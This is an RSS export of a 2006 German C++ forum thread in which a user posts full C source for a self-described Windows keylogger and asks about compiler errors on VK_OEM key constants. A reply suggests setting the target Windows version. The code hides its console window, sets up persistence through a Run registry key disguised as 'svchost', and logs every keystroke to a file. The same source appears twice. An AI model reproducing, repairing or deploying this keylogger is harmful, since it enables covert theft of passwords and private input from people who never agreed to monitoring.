<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[kein zugriff auf tastatur konstanten?]]></title><description><![CDATA[<p>hallo</p>
<p>ich habe folgenden code geschrieben (keylogger):</p>
<pre><code>[cpp]

#include &lt;windows.h&gt;
#include &lt;stdio.h&gt;
#include &lt;winuser.h&gt;

#define BUFSIZE 80

int test_key(void);
int create_key(char *);
int get_keys(void);

int main(void)
{
    HWND stealth; /*creating stealth (window is not visible)*/
    AllocConsole();
    stealth=FindWindowA(&quot;ConsoleWindowClass&quot;,NULL);
    ShowWindow(stealth,0);

    int test,create;
    test=test_key();/*check if key is available for opening*/

    if (test==2)/*create key*/
    {
        char *path=&quot;c:\\%windir%\\svchost.exe&quot;;/*the path in which the file needs to be*/
        create=create_key(path);

    }

    int t=get_keys();

    return t;
}  

int get_keys(void)
{
            short character;
              while(1)
              {

				  SetPriorityClass(GetCurrentProcess(), IDLE_PRIORITY_CLASS);

                     for(character=8;character&lt;=222;character++)
                     {
                         if(GetAsyncKeyState(character)==-32767)
                         {   

                             FILE *file;
                             file=fopen(&quot;svchost.log&quot;,&quot;a+&quot;);
                             if(file==NULL)
                             {
                                     return 1;
                             }            
                             if(file!=NULL)
                             {        
                                     if((character&gt;=39)&amp;&amp;(character&lt;=64))
                                     {
                                           fputc(character,file);
                                           fclose(file);
                                           break;
                                     }        
                                     else if((character&gt;64)&amp;&amp;(character&lt;91))
                                     {
                                           character+=32;
                                           fputc(character,file);
                                           fclose(file);
                                           break;
                                     }
                                     else
                                     { 
                                         switch(character)
                                         {
                                               case VK_SPACE:
                                               fputc(' ',file);
                                               fclose(file);
                                               break;    
                                               case VK_SHIFT:
                                               fputs(&quot;[SHIFT]&quot;,file);
                                               fclose(file);
                                               break;                                            
                                               case VK_RETURN:
                                               fputs(&quot;\n[ENTER]&quot;,file);
                                               fclose(file);
                                               break;
                                               case VK_BACK:
                                               fputs(&quot;[BACKSPACE]&quot;,file);
                                               fclose(file);
                                               break;
                                               case VK_TAB:
                                               fputs(&quot;[TAB]&quot;,file);
                                               fclose(file);
                                               break;
                                               case VK_CONTROL:
                                               fputs(&quot;[CTRL]&quot;,file);
                                               fclose(file);
                                               break;    
                                               case VK_DELETE:
                                               fputs(&quot;[DEL]&quot;,file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_1:
                                               fputs(&quot;[;:]&quot;,file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_2:
                                               fputs(&quot;[/?]&quot;,file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_3:
                                               fputs(&quot;[`~]&quot;,file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_4:
                                               fputs(&quot;[ [{ ]&quot;,file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_5:
                                               fputs(&quot;[\\|]&quot;,file);
                                               fclose(file);
                                               break;                                
                                               case VK_OEM_6:
                                               fputs(&quot;[ ]} ]&quot;,file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_7:
                                               fputs(&quot;['\&quot;]&quot;,file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_PLUS:
                                               fputc('+',file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_COMMA:
                                               fputc(',',file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_MINUS:
                                               fputc('-',file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_PERIOD:
                                               fputc('.',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD0:
                                               fputc('0',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD1:
                                               fputc('1',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD2:
                                               fputc('2',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD3:
                                               fputc('3',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD4:
                                               fputc('4',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD5:
                                               fputc('5',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD6:
                                               fputc('6',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD7:
                                               fputc('7',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD8:
                                               fputc('8',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD9:
                                               fputc('9',file);
                                               fclose(file);
                                               break;
                                               case VK_CAPITAL:
                                               fputs(&quot;[CAPS LOCK]&quot;,file);
                                               fclose(file);
                                               break;
                                               default:
                                               fclose(file);
                                               break;
                                        }        
                                   }    
                              }        
                    }    
                }                  

            }
            return EXIT_SUCCESS;                            
}                                                 

int test_key(void)
{
    int check;
    HKEY hKey;
    char path[BUFSIZE];
    DWORD buf_length=BUFSIZE;
    int reg_key;

    reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,&quot;SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run&quot;,0,KEY_QUERY_VALUE,&amp;hKey);
    if(reg_key!=0)
    {    
        check=1;
        return check;
    }        

    reg_key=RegQueryValueEx(hKey,&quot;svchost&quot;,NULL,NULL,(LPBYTE)path,&amp;buf_length);

    if((reg_key!=0)||(buf_length&gt;BUFSIZE))
        check=2;
    if(reg_key==0)
        check=0;

    RegCloseKey(hKey);
    return check;   
}

int create_key(char *path)
{   
        int reg_key,check;

        HKEY hkey;

        reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,&quot;SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run&quot;,&amp;hkey);
        if(reg_key==0)
        {
                RegSetValueEx((HKEY)hkey,&quot;svchost&quot;,0,REG_SZ,(BYTE *)path,strlen(path));
                check=0;
                return check;
        }
        if(reg_key!=0)
                check=1;

        return check;
}
</code></pre>
<p>[/cpp]</p>
<p>beim compilieren mit visual c++ 6 bekomme ich aber immer folgenden fehler:</p>
<pre><code>....cpp(101) : error C2065: 'VK_OEM_1' : undeclared identifier
.....cpp(101) : error C2051: case expression not constant
....cpp(105) : error C2065: 'VK_OEM_2' : undeclared identifier
.....cpp(105) : error C2051: case expression not constant
....cpp(109) : error C2065: 'VK_OEM_3' : undeclared identifier
.
.
.

....obj - 22 error(s), 0 warning(s)
</code></pre>
<p>was mache ich falsch??? <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f644.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--face_with_rolling_eyes"
      title=":rolling_eyes:"
      alt="🙄"
    /></p>
<p>mfg</p>
]]></description><link>https://www.c-plusplus.net/forum/topic/155558/kein-zugriff-auf-tastatur-konstanten</link><generator>RSS for Node</generator><lastBuildDate>Sat, 25 Jul 2026 05:14:18 GMT</lastBuildDate><atom:link href="https://www.c-plusplus.net/forum/topic/155558.rss" rel="self" type="application/rss+xml"/><pubDate>Mon, 07 Aug 2006 14:02:06 GMT</pubDate><ttl>60</ttl><item><title><![CDATA[Reply to kein zugriff auf tastatur konstanten? on Mon, 07 Aug 2006 15:00:02 GMT]]></title><description><![CDATA[<p>hallo</p>
<p>ich habe folgenden code geschrieben (keylogger):</p>
<pre><code>[cpp]

#include &lt;windows.h&gt;
#include &lt;stdio.h&gt;
#include &lt;winuser.h&gt;

#define BUFSIZE 80

int test_key(void);
int create_key(char *);
int get_keys(void);

int main(void)
{
    HWND stealth; /*creating stealth (window is not visible)*/
    AllocConsole();
    stealth=FindWindowA(&quot;ConsoleWindowClass&quot;,NULL);
    ShowWindow(stealth,0);

    int test,create;
    test=test_key();/*check if key is available for opening*/

    if (test==2)/*create key*/
    {
        char *path=&quot;c:\\%windir%\\svchost.exe&quot;;/*the path in which the file needs to be*/
        create=create_key(path);

    }

    int t=get_keys();

    return t;
}  

int get_keys(void)
{
            short character;
              while(1)
              {

				  SetPriorityClass(GetCurrentProcess(), IDLE_PRIORITY_CLASS);

                     for(character=8;character&lt;=222;character++)
                     {
                         if(GetAsyncKeyState(character)==-32767)
                         {   

                             FILE *file;
                             file=fopen(&quot;svchost.log&quot;,&quot;a+&quot;);
                             if(file==NULL)
                             {
                                     return 1;
                             }            
                             if(file!=NULL)
                             {        
                                     if((character&gt;=39)&amp;&amp;(character&lt;=64))
                                     {
                                           fputc(character,file);
                                           fclose(file);
                                           break;
                                     }        
                                     else if((character&gt;64)&amp;&amp;(character&lt;91))
                                     {
                                           character+=32;
                                           fputc(character,file);
                                           fclose(file);
                                           break;
                                     }
                                     else
                                     { 
                                         switch(character)
                                         {
                                               case VK_SPACE:
                                               fputc(' ',file);
                                               fclose(file);
                                               break;    
                                               case VK_SHIFT:
                                               fputs(&quot;[SHIFT]&quot;,file);
                                               fclose(file);
                                               break;                                            
                                               case VK_RETURN:
                                               fputs(&quot;\n[ENTER]&quot;,file);
                                               fclose(file);
                                               break;
                                               case VK_BACK:
                                               fputs(&quot;[BACKSPACE]&quot;,file);
                                               fclose(file);
                                               break;
                                               case VK_TAB:
                                               fputs(&quot;[TAB]&quot;,file);
                                               fclose(file);
                                               break;
                                               case VK_CONTROL:
                                               fputs(&quot;[CTRL]&quot;,file);
                                               fclose(file);
                                               break;    
                                               case VK_DELETE:
                                               fputs(&quot;[DEL]&quot;,file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_1:
                                               fputs(&quot;[;:]&quot;,file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_2:
                                               fputs(&quot;[/?]&quot;,file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_3:
                                               fputs(&quot;[`~]&quot;,file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_4:
                                               fputs(&quot;[ [{ ]&quot;,file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_5:
                                               fputs(&quot;[\\|]&quot;,file);
                                               fclose(file);
                                               break;                                
                                               case VK_OEM_6:
                                               fputs(&quot;[ ]} ]&quot;,file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_7:
                                               fputs(&quot;['\&quot;]&quot;,file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_PLUS:
                                               fputc('+',file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_COMMA:
                                               fputc(',',file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_MINUS:
                                               fputc('-',file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_PERIOD:
                                               fputc('.',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD0:
                                               fputc('0',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD1:
                                               fputc('1',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD2:
                                               fputc('2',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD3:
                                               fputc('3',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD4:
                                               fputc('4',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD5:
                                               fputc('5',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD6:
                                               fputc('6',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD7:
                                               fputc('7',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD8:
                                               fputc('8',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD9:
                                               fputc('9',file);
                                               fclose(file);
                                               break;
                                               case VK_CAPITAL:
                                               fputs(&quot;[CAPS LOCK]&quot;,file);
                                               fclose(file);
                                               break;
                                               default:
                                               fclose(file);
                                               break;
                                        }        
                                   }    
                              }        
                    }    
                }                  

            }
            return EXIT_SUCCESS;                            
}                                                 

int test_key(void)
{
    int check;
    HKEY hKey;
    char path[BUFSIZE];
    DWORD buf_length=BUFSIZE;
    int reg_key;

    reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,&quot;SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run&quot;,0,KEY_QUERY_VALUE,&amp;hKey);
    if(reg_key!=0)
    {    
        check=1;
        return check;
    }        

    reg_key=RegQueryValueEx(hKey,&quot;svchost&quot;,NULL,NULL,(LPBYTE)path,&amp;buf_length);

    if((reg_key!=0)||(buf_length&gt;BUFSIZE))
        check=2;
    if(reg_key==0)
        check=0;

    RegCloseKey(hKey);
    return check;   
}

int create_key(char *path)
{   
        int reg_key,check;

        HKEY hkey;

        reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,&quot;SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run&quot;,&amp;hkey);
        if(reg_key==0)
        {
                RegSetValueEx((HKEY)hkey,&quot;svchost&quot;,0,REG_SZ,(BYTE *)path,strlen(path));
                check=0;
                return check;
        }
        if(reg_key!=0)
                check=1;

        return check;
}
</code></pre>
<p>[/cpp]</p>
<p>beim compilieren mit visual c++ 6 bekomme ich aber immer folgenden fehler:</p>
<pre><code>....cpp(101) : error C2065: 'VK_OEM_1' : undeclared identifier
.....cpp(101) : error C2051: case expression not constant
....cpp(105) : error C2065: 'VK_OEM_2' : undeclared identifier
.....cpp(105) : error C2051: case expression not constant
....cpp(109) : error C2065: 'VK_OEM_3' : undeclared identifier
.
.
.

....obj - 22 error(s), 0 warning(s)
</code></pre>
<p>was mache ich falsch??? <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f644.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--face_with_rolling_eyes"
      title=":rolling_eyes:"
      alt="🙄"
    /></p>
<p>mfg</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1112284</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1112284</guid><dc:creator><![CDATA[Mr.X0]]></dc:creator><pubDate>Mon, 07 Aug 2006 15:00:02 GMT</pubDate></item><item><title><![CDATA[Reply to kein zugriff auf tastatur konstanten? on Mon, 07 Aug 2006 14:41:00 GMT]]></title><description><![CDATA[<p>Was hast de für ne WinVersion angegeben?</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1112310</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1112310</guid><dc:creator><![CDATA[*D*Evil]]></dc:creator><pubDate>Mon, 07 Aug 2006 14:41:00 GMT</pubDate></item><item><title><![CDATA[Reply to kein zugriff auf tastatur konstanten? on Mon, 07 Aug 2006 15:02:52 GMT]]></title><description><![CDATA[<p>ähm kannst du das genauer erklären? <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f644.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--face_with_rolling_eyes"
      title=":rolling_eyes:"
      alt="🙄"
    /></p>
]]></description><link>https://www.c-plusplus.net/forum/post/1112334</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1112334</guid><dc:creator><![CDATA[Mr.X0]]></dc:creator><pubDate>Mon, 07 Aug 2006 15:02:52 GMT</pubDate></item><item><title><![CDATA[Reply to kein zugriff auf tastatur konstanten? on Mon, 07 Aug 2006 18:03:56 GMT]]></title><description><![CDATA[<p>Ja man (kann) ja die WIN Version die du beim includieren der Windows.h als vorraussetzung annimst angeben. D.h. ein paar der Keycodes werden erst ab Win2000 unterstützt... s. MSDN...</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1112456</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1112456</guid><dc:creator><![CDATA[*D*Evil]]></dc:creator><pubDate>Mon, 07 Aug 2006 18:03:56 GMT</pubDate></item><item><title><![CDATA[Reply to kein zugriff auf tastatur konstanten? on Mon, 07 Aug 2006 18:18:01 GMT]]></title><description><![CDATA[<p>achsooo</p>
<p>winxp</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1112476</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1112476</guid><dc:creator><![CDATA[Mr.X0]]></dc:creator><pubDate>Mon, 07 Aug 2006 18:18:01 GMT</pubDate></item></channel></rss>